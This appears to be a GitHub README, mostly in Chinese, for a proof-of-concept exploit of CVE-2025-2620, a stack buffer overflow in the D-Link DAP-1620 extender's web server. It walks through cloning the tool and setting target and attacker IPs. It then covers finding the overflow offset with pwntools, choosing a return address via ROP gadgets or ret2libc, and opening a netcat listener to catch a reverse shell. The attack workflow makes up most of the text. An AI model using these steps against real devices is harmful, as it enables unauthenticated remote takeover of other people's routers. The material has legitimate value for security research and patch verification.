Proof-of-concept exploit for CVE-2025-2620,这是D-Link DAP-1620路由器中的一个严重基于栈的缓冲区溢出漏洞,允许未经身份验证的远程代码执行和反向shell访问。
本仓库包含针对 CVE-2025-2620 的高级概念验证(PoC)漏洞利用,这是 D-Link DAP-1620 路由器(固件版本 1.03)中发现的一个严重 基于栈的缓冲区溢出 漏洞。该漏洞允许 未经身份验证的远程攻击者 使路由器的 Web 服务器崩溃(拒绝服务,DoS),并可能执行任意代码(远程代码执行,RCE)。
此项目的目的是 演示漏洞利用开发技能。
CVE-2025-2620 影响 D-Link DAP-1620 路由器的 mod_graph_auth_uri_handler 函数,具体位于 /storage 端点。该漏洞由 不当的边界检查 引起,允许攻击者发送超出分配缓冲区大小的大输入,导致 基于栈的缓冲区溢出。
易受攻击的函数处理来自 HTTP 请求的身份验证参数(auth):
void mod_graph_auth_uri_handler(char *input) {
char buffer[512]; // 固定大小的栈缓冲区
strcpy(buffer, input); // 无长度检查,导致溢出
// 处理身份验证...
}
攻击者发送超长负载(例如 1024+ 字节)会 覆盖相邻内存,包括 函数的返回地址,从而可能导致 代码执行。
D-Link DAP-1620 是一款 Wi-Fi 范围扩展器,规格如下:
其他具有类似固件的 D-Link 路由器/扩展器 也可能受影响。
组合 PoC – 包括缓冲区溢出测试和 RCE 漏洞利用。
基于栈的缓冲区溢出测试 – 识别易受攻击的路由器。
完整远程代码执行(RCE)漏洞利用 – 生成反向 Shell。
可配置的负载大小和返回地址 – 可适应不同的路由器型号。
增强调试 – 记录崩溃偏移以优化漏洞利用参数。
git clone https://github.com/Otsmane-Ahmed/CVE-2025-2620-poc.git
cd CVE-2025-2620-poc
确保已安装 Python3 和 pwntools:
pip install pwntools
修改 CVE-2025-2620_poc.py 脚本:
TARGET_IP = "192.168.0.1" # 更改为你的路由器 IP
ATTACKER_IP = "192.168.0.100" # 更改为你的本地 IP
ATTACKER_PORT = 4444 # 根据需要更改
BUFFER_SIZE = 8000 # 如果路由器未崩溃,请增大
修改 PoC 以生成唯一模式并发送:
MODE = "overflow" # 设置为 "overflow" 以查找偏移
运行脚本:
python3 CVE-2025-2620_poc.py
路由器崩溃后,从以下位置检查段错误地址(x86 上的 EIP 或 MIPS 上的 RA):
gdb)dmesg | grep 'segfault'查找类似 0x61616161 的地址(表示循环模式的一部分覆盖了返回指针)。
使用 cyclic_find 定位准确的偏移量:
from pwn import cyclic_find
print(cyclic_find(0x61616161)) # 替换为崩溃地址
这将给出精确的 OFFSET 值。更新你的 PoC:
OFFSET = <已找到的偏移量> # 替换为实际数字
RET_ADDR)选项 1:查找 JMP 或 CALL 小工具
ROPgadget --binary vulnerable_binary | grep "jmp"
选择一个跳转到寄存器的地址(例如 jmp $sp 或 jmp $ra)。
选项 2:使用 ret2libc 地址
在 libc 中查找 system() 的地址:
objdump -D /lib/libc.so.6 | grep "system"
然后,将其用作 RET_ADDR:
RET_ADDR = struct.pack("<I", 0xdeadbeef) # 替换为实际地址
nc -lvnp 4444
python3 CVE-2025-2620_poc.py --mode rce
由 Otsmane Ahmed 用 ❤️ 开发
| 指标 | 值 |
|---|
| 攻击向量 | 网络 |
| 攻击复杂度 | 低 |
| 所需权限 | 无 |
| 用户交互 | 无 |
| 机密性影响 | 高 |
| 完整性影响 | 高 |
| 可用性影响 | 高 |